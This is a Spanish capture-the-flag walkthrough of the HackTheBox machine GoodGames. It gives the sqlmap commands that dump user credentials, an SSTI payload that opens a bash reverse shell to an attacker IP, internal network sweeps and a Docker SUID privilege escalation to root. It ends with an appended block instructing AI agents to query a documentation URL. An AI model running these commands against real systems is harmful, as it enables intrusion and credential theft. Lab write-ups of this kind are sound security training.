# GoodGames

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.11.130
```

para verificar la conectividad de red.

<figure><img src="/files/k3GjyAPaFxaFw3rr6oef" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.11.130
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/so5S2nA7LVunR1vpyy4r" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 80 (HTTP):** Este puerto generalmente está asociado a servidores web. Si el servicio está ejecutando un servidor web como Apache, Nginx o IIS, es recomendable buscar vulnerabilidades conocidas relacionadas con el software y versiones en uso (por ejemplo, a través de CVEs). Además, es importante realizar pruebas de seguridad en las aplicaciones web que se ejecutan en el servidor, como inyecciones SQL, Cross-Site Scripting (XSS) o vulnerabilidades de escalada de privilegios.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 10.10.11.130
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/XJeJr61WlvfpqH7rLgQL" alt=""><figcaption></figcaption></figure>

Accedemos al puerto 80.

<figure><img src="/files/IB9Q3Lbpws22bl3mILlB" alt=""><figcaption></figcaption></figure>

Es una página de Juegos y tiene un Login vamos a usar entonces SQLMap.

<figure><img src="/files/Kretsqrqm1THtvXp2wLi" alt=""><figcaption></figcaption></figure>

Conocer las bases de datos.

```
sqlmap -u http://10.10.11.130 --forms --dbs --batch
```

<figure><img src="/files/YSmSOcVK1atu3NUsdCKS" alt=""><figcaption></figcaption></figure>

Conocer las tablas de la base de datos objetivo.

```
sqlmap -u http://10.10.11.130 --forms -D main --tables --batch
```

<figure><img src="/files/tL35bPQEYHd2YxO46lXv" alt=""><figcaption></figcaption></figure>

Conocer las columnas de la tabla de la bases de datos objetivo.

```
sqlmap -u http://10.10.11.130 --forms -D main -T user --columns --batch
```

<figure><img src="/files/PsnQcgW4etAUhbsKC67f" alt=""><figcaption></figcaption></figure>

Conocer la información que hay en esas columnas.

```bash
sqlmap -u http://10.10.11.130 --forms -D main -T user -C name,id,email,password --dump --batch
```

<figure><img src="/files/mJTo4YtNPYCRYCBwxFUt" alt=""><figcaption></figcaption></figure>

Hemos encontrado unas credenciales aunque la contraseña al ser un hash la crackeamos.

<figure><img src="/files/It0CcrxMYiNS3hSFHo7B" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HtLV1YkqYi4T0YmQvMzl" alt=""><figcaption></figcaption></figure>

Después de analizar el sitio web del perfil, encontramos un símbolo de configuración que nos redirige a una URL con un dominio diferente. Como primer paso, registraremos este nuevo dominio en el archivo `/etc/hosts`.

```bash
echo "10.10.11.130 internal-administration.goodgames.htb" >> /etc/hosts
```

<figure><img src="/files/my80EYqrs11YwBuzye6i" alt=""><figcaption></figcaption></figure>

Nos logueamos con esas credenciales.

<figure><img src="/files/H2h6JxHrD4vGyoTBwFKg" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con **Wappalyzer** se ejecuta **Python** por lo que parece una vulnerabilidad **SSTI**. Para ello realizamos la comprobación básica.

```
{{ 7 * 7 }}
```

<figure><img src="/files/EXprhmVYghmMj4E69DbB" alt=""><figcaption></figcaption></figure>

Es vulnerable a **SSTI** por lo que realizamos un payload que contiene una Reverse Shell.

```
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"').read() }}
```

Nos ponemos en escucha.

```bash
nc -nlvp 4444
```

<figure><img src="/files/Wt6GSgaMP1mO2ZgorXAI" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

somos **root.** No somos root de manera oficial.

<figure><img src="/files/3sEF0Bnw76gud3QpzM1j" alt=""><figcaption></figcaption></figure>

La interfaz de red está conectada al adaptador de red interna con la dirección `172.19.0.2/16`, lo que nos permite comunicarnos con la red interna desde nuestra máquina de ataque a través de la red comprometida.

Para descubrir los hosts en la red interna, utilizamos el siguiente comando en una sola línea para realizar un escaneo de barrido:

```bash
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done;
```

<figure><img src="/files/RyJWZcRQOKkPsA80UTcU" alt=""><figcaption></figcaption></figure>

Una vez identificado un objetivo, realizamos un escaneo de puertos con el siguiente comando:

```bash
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
```

<figure><img src="/files/cQaL5qRGaERpfhlmVS6s" alt=""><figcaption></figcaption></figure>

Comencé a buscar credenciales de SSH en la máquina y finalmente encontré la carpeta de un usuario dentro del directorio `/home`. Sin embargo, no encontré a `augustus` en el archivo `/etc/passwd`.

<figure><img src="/files/x5rVUnd0lKXDl6Qjvwm7" alt=""><figcaption></figcaption></figure>

Vemos que el puerto 22 y 80 están abiertos, por lo que intentamos conectarnos por SSH con el usuario augustus utilizando la contraseña que habíamos encontrado previamente (superadministrator).

```bash
ssh augustus@172.19.0.1
whoami
augustus
```

Como el directorio home del usuario augustus está montado en el contenedor **Docker** y tenemos acceso como usuario **root**, podemos trasladar un binario con permisos **SUID** al home de **augustus** para escalar privilegios a root en el host.

```bash
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash  user.txt

root@3a453ab39d3d:/home/augustus chown root:root /home/augustus/bash  
root@3a453ab39d3d:/home/augustus chmod +s /home/augustus/bash

augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus)
bash-5.1# whoami
root
```

Ahora que hemos logrado elevar nuestros privilegios a **root** en la máquina víctima, podemos proceder a leer la flag del usuario **root**.

<figure><img src="/files/4hoOK8NE8PJ5bquQciwo" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/goodgames.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
